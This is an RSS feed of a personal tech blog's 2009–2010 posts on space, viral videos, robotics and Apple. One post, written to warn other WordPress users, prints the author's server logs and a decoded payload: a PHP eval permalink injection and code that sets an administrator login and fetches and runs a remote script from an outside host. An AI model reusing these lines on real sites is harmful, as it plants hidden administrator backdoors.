<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Kelly&#039;s World- A View into the mind of Uber Geek, Kelly Adams &#187; Geek Miscellany</title>
	<atom:link href="http://www.kgadams.net/category/geekdom/feed" rel="self" type="application/rss+xml" />
	<link>http://www.kgadams.net</link>
	<description>Technology, computer games, MMOGs,  science...and other nerdy stuff</description>
	<lastBuildDate>Sat, 28 Jan 2012 22:44:06 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>End of American manned presence in space&#8230;</title>
		<link>http://www.kgadams.net/2010/05/24/end-of-american-manned-presence-in-space</link>
		<comments>http://www.kgadams.net/2010/05/24/end-of-american-manned-presence-in-space#comments</comments>
		<pubDate>Mon, 24 May 2010 16:32:14 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[Rants]]></category>
		<category><![CDATA[dreams]]></category>
		<category><![CDATA[noble]]></category>
		<category><![CDATA[shuttle]]></category>
		<category><![CDATA[space]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/?p=1125</guid>
		<description><![CDATA[
<p>The last shuttle mission has flown and, with nothing to replace it, the U.S. manned presence in space has ended with it.  The shuttle astronauts in the picture below are the last ones we will ever see.</p>
<p></p>
<p>
<p>I&#8217;m part of the Apollo generation.  The era during which the U.S. was dominant in space, with hundreds of manned [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p>The last shuttle mission has flown and, with nothing to replace it, the U.S. manned presence in space has ended with it.  The shuttle astronauts in the picture below are the last ones we will ever see.</p>
<p><img title="shuttle_astro.jpg" src="http://www.kgadams.net/wp-content/uploads/2010/05/shuttle_astro.jpg" border="0" alt="shuttle_astro.jpg" width="522" height="345" /></p>
<p><span id="more-1125"></span>
<p>I&#8217;m part of the Apollo generation.  The era during which the U.S. was dominant in space, with hundreds of manned missions.  The moon landings, Skylab, the shuttle, deployment of Hubble, and the ISS: all of these things marked milestones in my life.  The men and women of the space program were, to me, sterling examples of the best humanity has to offer.</p>
<p>The tiny cost of the U.S. space program (the entire 50 year history of which costs less than what the U.S. spends in a single year on the military) has paid off in technological advances worth trillions.  And yet, due to the shortsighted and unimaginative nature of current society, it is all over.  There are no manned space vehicles being built or maintained by the U.S. after this month.  There is a partially designed manned capsule, <a href="http://en.wikipedia.org/wiki/Orion_(spacecraft)">the Orion</a>, but nothing to launch it with.  When Americans want to go into space, they will have to beg the Russians or, perhaps, the Chinese for a ride.  Nothing is left other than a vague intent to &#8220;one day&#8221; go to Mars, but without sufficient funding or a specific plan to do so.</p>
<p>To me, the end of the manned space program marks the end of my youth, and of many of my dreams for mankind.  It feels as if the only outcome now is the gradual decay of humanity&#8217;s ability and will to go beyond.  In a world dominated by petty squabbles over race, religion, and natural resources, the space program was&#8230; hope.  A dream, I guess, and not a reality.</p>
<p>What is left to inspire us beyond our petty hatreds and cancerous greed?  My belief is that it is the dreams that lift us above our animalistic need for territory, wealth, and dominance.  The fact that the wealthiest and most powerful nation on Earth has abandoned its greatest and most noble dream tells me that we are failing.   A tiny fraction of the hundreds of billions spent every year on destruction could have kept that dream alive, and yet it is over.</p>
<p>I&#8217;m hopeful that some fraction of humanity might step up one day to embrace &#8220;<a href="http://www.answerbag.com/q_view/744209">the other things</a>&#8220;.  Not because they are easy, but because they are hard&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2010/05/24/end-of-american-manned-presence-in-space/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Mad skillz&#8230;</title>
		<link>http://www.kgadams.net/2010/03/07/mad-skillz</link>
		<comments>http://www.kgadams.net/2010/03/07/mad-skillz#comments</comments>
		<pubDate>Sun, 07 Mar 2010 18:21:35 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[acrobatics]]></category>
		<category><![CDATA[humanity]]></category>
		<category><![CDATA[juggle]]></category>
		<category><![CDATA[skills]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2010/03/07/mad-skillz</guid>
		<description><![CDATA[
<p></p>
<p>I watched this video today, and am once again amazed at what &#8220;ordinary&#8221; humans can do if they put their minds to it:</p>
<p>
</p>
<p>I particularly liked the &#8220;open the Pringles can, bounce the lid off two corners of the room while eating a chip from the container, and catch the lid when it bounces [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p><!--nevermore--></p>
<p>I watched this video today, and am once again amazed at what &#8220;ordinary&#8221; humans can do if they put their minds to it:</p>
<p><object width="640" height="385"><param name="movie" value="http://www.youtube.com/v/jV9-AKrZqdU&amp;hl=en_US&amp;fs=1&amp;rel=0" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="http://www.youtube.com/v/jV9-AKrZqdU&amp;hl=en_US&amp;fs=1&amp;rel=0" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="640" height="385" /><br />
</object></p>
<p>I particularly liked the &#8220;open the Pringles can, bounce the lid off two corners of the room while eating a chip from the container, and catch the lid when it bounces back&#8221; bit.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2010/03/07/mad-skillz/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Robots may be fast, but humans still amaze me</title>
		<link>http://www.kgadams.net/2010/02/13/robots-may-be-fast-but-humans-still-amaze-me</link>
		<comments>http://www.kgadams.net/2010/02/13/robots-may-be-fast-but-humans-still-amaze-me#comments</comments>
		<pubDate>Sat, 13 Feb 2010 21:15:04 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[guitar]]></category>
		<category><![CDATA[human vs machine]]></category>
		<category><![CDATA[talent]]></category>
		<category><![CDATA[tiago della vega]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2010/02/13/robots-may-be-fast-but-humans-still-amaze-me</guid>
		<description><![CDATA[
<p></p>
<p>I was watching a demonstration video of a robotic vibraphone today on Gizmodo. It plays &#8220;Flight of the Bumblebee&#8221;, which is already a pretty fast piece, but does it a bit faster than normal. Impressive, but when you realize that it accomplishes this with independent actuators for each note (effectively having dozens of &#8220;hammers&#8221; where a [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p><!--nevermore--></p>
<p>I was watching <a href="http://gizmodo.com/5471095/marv-the-vibraphone-robot-plays-flight-of-the-bumblebee-crazy-fast?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+gizmodo%2Ffull+%28Gizmodo%29" target="_blank">a demonstration video of a robotic vibraphone today on Gizmodo.</a> It plays &#8220;Flight of the Bumblebee&#8221;, which is already a pretty fast piece, but does it a bit faster than normal. Impressive, but when you realize that it accomplishes this with independent actuators for each note (effectively having dozens of &#8220;hammers&#8221; where a human would be limited to a couple) it really becomes less amazing.</p>
<p>And then I came across absolutely staggeringly fast rendition of Flight of the Bumblebee by an honest to goodness human being. It is a Guinness book of World Records performance on the guitar by <a href="http://en.wikipedia.org/wiki/Tiago_Della_Vega" target="_blank">Tiago della Vega</a>, and completely, utterly, and resoundingly trounces the robotic performance. Note that he actually performs the piece three times: at 170, 260, and 320 beats per minute: you have to watch to the end to see the fastest rendition.</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/6br_PG7Nzsc&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><embed src="http://www.youtube.com/v/6br_PG7Nzsc&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en_US&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="425" height="344" /><br />
</object></p>
<p>Even if a machine ever exceeds this rate, I am left speechless by what the human machine can accomplish.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2010/02/13/robots-may-be-fast-but-humans-still-amaze-me/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Newsflash: people who don&#8217;t like computers prefer non-geeky workspaces</title>
		<link>http://www.kgadams.net/2009/12/16/newsflash-people-who-dont-like-computers-prefer-non-geeky-workspaces</link>
		<comments>http://www.kgadams.net/2009/12/16/newsflash-people-who-dont-like-computers-prefer-non-geeky-workspaces#comments</comments>
		<pubDate>Wed, 16 Dec 2009 08:01:37 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[Rants]]></category>
		<category><![CDATA[geeks]]></category>
		<category><![CDATA[gender]]></category>
		<category><![CDATA[psychology]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2009/12/16/newsflash-people-who-dont-like-computers-prefer-non-geeky-workspaces</guid>
		<description><![CDATA[
<p>According to a recent study at the University of Washington, people who aren&#8217;t really interested in computing science are even less interested if asked about it in a room with science fiction paraphernalia, games, and soft drink cans. Apparently some of these non-technically-inclined people are women. Glory be, we have a great discovery!</p>
<p>Actually, not really, at [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p>According to a recent study at the University of Washington, <a href="http://www.theregister.co.uk/2009/12/15/geeky_decor_puts_off_ladies/" target="_blank">people who aren&#8217;t really interested in computing science are even less interested if asked about it in a room with science fiction paraphernalia, games, and soft drink cans</a>. Apparently some of these non-technically-inclined people are women. Glory be, we have a great discovery!</p>
<p>Actually, not really, at least not in my uneducated opinion, with which you are free to disagree&#8230; &nbsp;&nbsp;</p>
<p><span id="more-1002"></span>
<p>You see, I am of the belief that people who are interested in technology, who excel at it, have certain kinds of minds. Regardless of gender, they are people who like science, enjoy science fiction, and like different kinds of games. People who don&#8217;t have these traits might be interested in other things: medicine, law, psychiatry, or something else.</p>
<p>To be clear, I am not suggesting that all computer people are stereotypical geeks. But I do think a significant majority are: both men and women. I look at the desks of the twenty-something women at work and see anime characters, Hello-kitty plushies, chinese puzzles, strange high-calorie/high caffeine candies, and toy robots. I am doubtful that this is protective camouflage, because most of the guys desks are largely without ornamentation. I don&#8217;t see pictures of pastoral scenes or elegant tea sets.</p>
<p>I think everything reasonable to encourage women (and men) who are really interested in technology, computers, and science to pursue their interests is worth doing. But I really do *not* want people who have no interest in the kinds of things that make good technologists pursuing careers they have no aptitude for. I&#8217;ve seen people who should have been accountants, history teachers, or truck drivers become computer people, and I&#8217;ll tell you it isn&#8217;t a pretty sight. They have no finesse, no talent, no skill: just rote procedural work and a total inability to resolve anything they don&#8217;t have a formula for.</p>
<p>So here&#8217;s my suggestion: worry about how people can deal with logic puzzles and english language pseudo code and other base elements of computing. Look at how we can identify people of any gender who have these natural aptitudes, who get excited more by the problem and the beauty of the solution than in the billing rates or the mathematics of it, and give them access to interesting challenges. My suspicion is that the vast majority of them regardless of gender will prefer science fiction posters and games over tea sets and colour draping any day.</p>
<p>In fact, maybe a good test of man or woman is to expose them to a typical nerd workspace: if they play with the toys and use the nerf gun to shoot down the tower of pop cans, they should consider a career in computing. If they tsk tsk and begin hanging tasteful watercolours of lakes at sunset, they should go straight away into accountancy or law <img src='http://www.kgadams.net/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2009/12/16/newsflash-people-who-dont-like-computers-prefer-non-geeky-workspaces/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>The internet is&#8230; a man&#8230; with strange thumbs</title>
		<link>http://www.kgadams.net/2009/12/09/the-internet-is-a-man-with-strange-thumbs</link>
		<comments>http://www.kgadams.net/2009/12/09/the-internet-is-a-man-with-strange-thumbs#comments</comments>
		<pubDate>Wed, 09 Dec 2009 21:00:00 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[BBC]]></category>
		<category><![CDATA[comedy]]></category>
		<category><![CDATA[internet]]></category>
		<category><![CDATA[videos]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2009/12/09/the-internet-is-a-man-with-strange-thumbs</guid>
		<description><![CDATA[
<p></p>
<p>After years of thinking the Internet was a collection of tubes, we now have a more definitive explanation, in video form&#8230;</p>
<p>
</p>
<p>This video is created, as it says, based on snippets extracted out of context from a BBC program&#8230;amazing how something so basically childish can be so [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p><!--nevermore--></p>
<p>After years of thinking the Internet was a collection of tubes, we now have a more definitive explanation, in video form&#8230;</p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/2gGopKNPqVk&amp;hl=en_US&amp;fs=1&amp;" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="http://www.youtube.com/v/2gGopKNPqVk&amp;hl=en_US&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340" /><br />
</object></p>
<p>This video is created, as it says, based on snippets extracted out of context from a BBC program&#8230;amazing how something so basically childish can be so darn funny!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2009/12/09/the-internet-is-a-man-with-strange-thumbs/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Ewoks gone mad</title>
		<link>http://www.kgadams.net/2009/11/01/ewoks-gone-mad</link>
		<comments>http://www.kgadams.net/2009/11/01/ewoks-gone-mad#comments</comments>
		<pubDate>Sun, 01 Nov 2009 15:12:23 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[Life]]></category>
		<category><![CDATA[drunks]]></category>
		<category><![CDATA[ewoks]]></category>
		<category><![CDATA[star wars]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2009/11/01/ewoks-gone-mad</guid>
		<description><![CDATA[
<p></p>
<p>The folks on the Today Show have discovered a little known fact about the Ewoks from Star Wars. They really can&#8217;t handle their booze very well&#8230;</p>
<p>
</p>
<p>Apparently the folks inside the Ewok costumes really were drunk and, as it was a live TV program, the producers decided to just go with it. Credit where credit is due, [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p><!--nevermore--></p>
<p>The folks on the Today Show have discovered a little known fact about the Ewoks from Star Wars. They really can&#8217;t handle their booze very well&#8230;</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/LQ0S0BUE0zg&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><embed src="http://www.youtube.com/v/LQ0S0BUE0zg&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="425" height="344" /><br />
</object></p>
<p>Apparently the folks inside the Ewok costumes really were drunk and, as it was a live TV program, the producers decided to just go with it. Credit where credit is due, I came across this on <a href="http://gizmodo.com/5394286/this-is-why-you-shouldnt-put-drunk-ewoks-on-live-tv" target="_blank">Engadget</a>,</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2009/11/01/ewoks-gone-mad/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Apple really likes those adjectives&#8230;</title>
		<link>http://www.kgadams.net/2009/09/15/apple-really-likes-those-adjectives</link>
		<comments>http://www.kgadams.net/2009/09/15/apple-really-likes-those-adjectives#comments</comments>
		<pubDate>Wed, 16 Sep 2009 06:21:13 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[marketing]]></category>
		<category><![CDATA[steve jobs]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2009/09/15/apple-really-likes-those-adjectives</guid>
		<description><![CDATA[
<p></p>
<p>I found this on Gizmodo today, and when I watched the video I couldn&#8217;t help laughing out loud&#8230;</p>
<p>
</p>
<p>It is really awesomely incredibly great and unbelievable!</p>
<p>The video is extracted from the most recent (September 9th) Apple event, which was focussed on what I can only describe as a completely boring list of iPod announcements. There was nothing [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p><!--nevermore--></p>
<p>I <a href="http://gizmodo.com/5360259/apple-is-amazing-awesome-beautiful-great-incredible-really-nice-and-unbelievable" target="_blank">found this on Gizmodo today</a>, and when I watched the video I couldn&#8217;t help laughing out loud&#8230;</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/Nx7v815bYUw&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><embed src="http://www.youtube.com/v/Nx7v815bYUw&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="425" height="344" /><br />
</object></p>
<p>It is really awesomely incredibly great and unbelievable!</p>
<p>The video is extracted from the most recent (September 9th) Apple event, which was focussed on what I can only describe as a completely boring list of iPod announcements. There was nothing released that was &#8220;gee-whiz&#8221; like the iPhone, just minor incremental updates to existing product lines. Yet as is evidenced by this video, the Apple team worked hard to make it seem like they were revolutionizing the entire world.</p>
<p>I have to wonder how carefully the Apple folks craft and coach these kinds of over-the-top exuberant love-fests. I can&#8217;t imagine that this happens &#8220;naturally&#8221; or by accident. And it explains why the comparatively subdued presentations given by other companies seem so dour and boring in comparison.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2009/09/15/apple-really-likes-those-adjectives/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>WordPress SQL injection hack: watch for=&gt;  %&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&amp;%/</title>
		<link>http://www.kgadams.net/2009/09/04/wordpress-sql-injection-hack-watch-for-evalbase64_decode_serverhttp_referer</link>
		<comments>http://www.kgadams.net/2009/09/04/wordpress-sql-injection-hack-watch-for-evalbase64_decode_serverhttp_referer#comments</comments>
		<pubDate>Fri, 04 Sep 2009 23:09:06 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[Site news]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[sql-injection]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2009/09/04/wordpress-sql-injection-hack-watch-for-evalbase64_decode_serverhttp_referer</guid>
		<description><![CDATA[
<p></p>
<p>If you are running a WordPress based blog like I am and suddenly notice your post URLs have something &#8220;extra&#8221; appended (see the subject line), your blog has been hacked.</p>
<p>You can read more about it here (thanks, UCLABoyz, thanks schang!), where you will also find guidance regarding cleaning the problem up. Unfortunately, it appears that the [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p><!--nevermore--></p>
<p>If you are running a WordPress based blog like I am and suddenly notice your post URLs have something &#8220;extra&#8221; appended (see the subject line), your blog has been hacked.</p>
<p><a href="http://www.warriorforum.com/main-internet-marketing-discussion-forum/121131-wordpress-mysql-injection-latest-attack-eval-base64_decode-_server-http_referer.html" target="_blank">You can read more about it here (thanks, UCLABoyz, thanks schang!)</a>, where you will also find guidance regarding cleaning the problem up. Unfortunately, it appears that the hack works on all versions of WordPress up to and including the most recent.</p>
<p>I have BadBehavior installed on my blog, and so it was rejecting the URLs with this addition which I *think* would be thwarting the hackers involved: they hadn&#8217;t been able to create an administrative user. Unfortunately, it also meant none of my blog posts were working properly until I noticed the problem and corrected it.</p>
<p>Hopefully WordPress will issue a fix for this soon- in the mean time, keep an eye on your URLs, WordPress bloggers!</p>
<p><b>UPDATE</b>: <a href="http://wordpress.org/support/topic/307518" target="_blank">Another link to a lengthy thread regarding this hack on the WordPress.org site</a>. What is interesting here is the apparent vector: a weakness in the WordPress code, apparently up to and including the most recent release, that permits an ordinary subscriber (i.e.: not an administrative user) to run some administrator features e.g.: changing the permalinks.</p>
<p><b>UPDATE #2</b>: it appears that updating to the most recent version of WordPress (2.8.4) removes the &#8220;double slash&#8221; vector for running some admin commands (notably permalink.php). This fix was apparently added somewhere between WordPress version 2.8 and 2.8.4.</p>
<p>I&#8217;ve included some extracts from my server logs and further thoughts below&#8230;</p>
<p>&nbsp;&nbsp;</p>
<p><span id="more-966"></span>
<p>Here are the &#8220;smoking gun&#8221; entries from my log files:</p>
<blockquote>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:45 -0700] &#8220;GET /wp-login.php HTTP/1.1&#8243; 200 907 &#8220;http://www.kgadams.net/&#8221; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:47 -0700] &#8220;POST /wp-login.php HTTP/1.1&#8243; 302 20 &#8220;http://www.kgadams.net/wp-login.php&#8221; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:50 -0700] &#8220;GET /wp-admin/ HTTP/1.1&#8243; 200 8117 &#8220;http://www.kgadams.net/wp-login.php&#8221; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:52 -0700] &#8220;GET /wp-admin//options-permalink.php HTTP/1.1&#8243; 200 4145 &#8220;http://www.kgadams.net/wp-admin//options-permalink.php&#8221; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:55 -0700] &#8220;POST /wp-admin//options-permalink.php HTTP/1.1&#8243; 200 4230 &#8220;http://www.kgadams.net/wp-admin//options-permalink.php&#8221; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>189.54.17.207 &#8211; - [03/Sep/2009:19:16:57 -0700] &#8220;POST /xmlrpc.php HTTP/1.1&#8243; 403 521 &#8220;JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdMYXphcm9LaW1tb25zODUnOyR1c2VyX3Bhc3M9JzJtZXprYVRUZG1WcCc7ZXZhbChmaWxlX2dldF9jb250ZW50cygnaHR0cDovL2xpbmtzLndlYndvcmRwcmVzcy5jbi9kYXRhL3Nob3J0cGFydDIudHh0JykpO2V4aXQ7&#8243; &#8220;Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.11) Gecko/20071127&#8243;</p>
<p>
</p></blockquote>
<p>I don&#8217;t have details of what the user at IP address &#8217;189.54.17.207&#8242; (registered in Latin America) was doing with the first three actions calling wp-login.php, but I&#8217;m guessing creating a normal subscriber ID and logging in. Action #4 and #5 above, the call to /wp-admin//options-permalink.php (note the double &#8220;//&#8221;) is where the permalink was changed. The revised permalink includes an &#8216;eval&#8217; statement- that executes (runs as a program) what follows, which is a base 64 decode of the referrer string.</p>
<p>The final step is an attempt to use xmlrpc.php to execute the encoded string. The encoded string, decoded, looks like this:</p>
<blockquote>
<p>$role=&#8217;administrator&#8217;;$user_login=&#8217;LazaroKimmons85&#8242;;$user_pass=&#8217;2mezkaTTdmVp&#8217;;eval(file_get_contents(&#8216;http://links.webwordpress.cn/data/shortpart2.txt&#8217;));exit;</p>
</blockquote>
<p>What this is doing is setting a few PHP variables then executing the code retrieved from http://links.webwordpress.cn/data/shortpart2.txt. That little bit of code creates the administrative user and, from what I understand, hides it.</p>
<p>In the case of my site, the hacked permalink seems to have been blocked- I&#8217;m not sure whether by BadBehavior or something else I have installed. So the hack was half-successful: the permalink was installed, but using the permalink generated an error.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2009/09/04/wordpress-sql-injection-hack-watch-for-evalbase64_decode_serverhttp_referer/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Do you wanna date my avatar?</title>
		<link>http://www.kgadams.net/2009/08/23/do-you-wanna-date-my-avatar</link>
		<comments>http://www.kgadams.net/2009/08/23/do-you-wanna-date-my-avatar#comments</comments>
		<pubDate>Mon, 24 Aug 2009 00:58:08 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[Girls]]></category>
		<category><![CDATA[avatar]]></category>
		<category><![CDATA[felicia day]]></category>
		<category><![CDATA[MMOG]]></category>
		<category><![CDATA[the guild]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2009/08/23/do-you-wanna-date-my-avatar</guid>
		<description><![CDATA[
<p></p>
<p>I have caught a number of episodes of The Guild, a web-based video series since it first appeared a year or so ago. Imagine a soap opera based on the web-camera confessions of a young woman geek who is a member of a massively multiplayer online game guild, and you have the basic idea.</p>
<p>Recently The Guild [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topic7.gif' align='right' width='100' height='100' hspace='5' />
<p><!--nevermore--></p>
<p>I have caught a number of episodes of <a href="http://www.watchtheguild.com/about/" target="_blank">The Guild,</a> a web-based video series since it first appeared a year or so ago. Imagine a soap opera based on the web-camera confessions of a young woman geek who is a member of a massively multiplayer online game guild, and you have the basic idea.</p>
<p>Recently The Guild has started going a bit &#8220;big time&#8221;, with announcements that <a href="http://wilwheaton.typepad.com/wwdnbackup/2009/08/the-obligatory-comiccon-post-thats-mostly-about-the-guild-panel.html" target="_blank">Wil Wheaton</a> is going to be appearing in some episodes of this upcoming season and now&#8230; a music video.</p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/urNyg1ftMIU&amp;hl=en&amp;fs=1&amp;" /><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><embed src="http://www.youtube.com/v/urNyg1ftMIU&amp;hl=en&amp;fs=1&amp;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340" /><br />
</object><br />
I kind of have a little crush now on <a href="http://feliciaday.com/" target="_blank">Felicia Day</a>&#8230; shhh, don&#8217;t tell Irene.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kgadams.net/2009/08/23/do-you-wanna-date-my-avatar/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Robotic dexterity</title>
		<link>http://www.kgadams.net/2009/08/22/robotic-dexterity</link>
		<comments>http://www.kgadams.net/2009/08/22/robotic-dexterity#comments</comments>
		<pubDate>Sat, 22 Aug 2009 20:47:21 +0000</pubDate>
		<dc:creator>Kelly Adams</dc:creator>
				<category><![CDATA[Gear]]></category>
		<category><![CDATA[Geek Miscellany]]></category>
		<category><![CDATA[dexterity]]></category>
		<category><![CDATA[robotics]]></category>
		<category><![CDATA[robots]]></category>

		<guid isPermaLink="false">http://www.kgadams.net/2009/08/22/robotic-dexterity</guid>
		<description><![CDATA[
<p></p>
<p>The progress of robotics over the last few decades has seemed fairly slow to me. Robots today at their best seem to shuffle or stumble along like zombies, their movements more scripted and controlled than dynamic or lively. I watched a video today, however, that makes me feel like some real progress is actually being made.</p>
<p>Here [...]]]></description>
			<content:encoded><![CDATA[<img src='/wp-content/icons/topicgear.gif' align='right' width='100' height='100' hspace='5' />
<p><!--nevermore--></p>
<p>The progress of robotics over the last few decades has seemed fairly slow to me. Robots today at their best seem to shuffle or stumble along like zombies, their movements more scripted and controlled than dynamic or lively. I watched a video today, however, that makes me feel like some real progress is actually being made.</p>
<p>Here is what I watched&#8230; and be aware that this is a robotic appendage reacting in real time to visual and tactile data, *not* a strictly scripted series of movements.</p>
<p><object width="425" height="344"><param name="movie" value="http://www.youtube.com/v/-KxjVlaLBmk&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1" /><param name="allowFullScreen" value="true" /><param name="allowScriptAccess" value="always" /><embed src="http://www.youtube.com/v/-KxjVlaLBmk&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;feature=player_embedded&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="425" height="344" /><br />
</object></p>
]]></content:encoded>
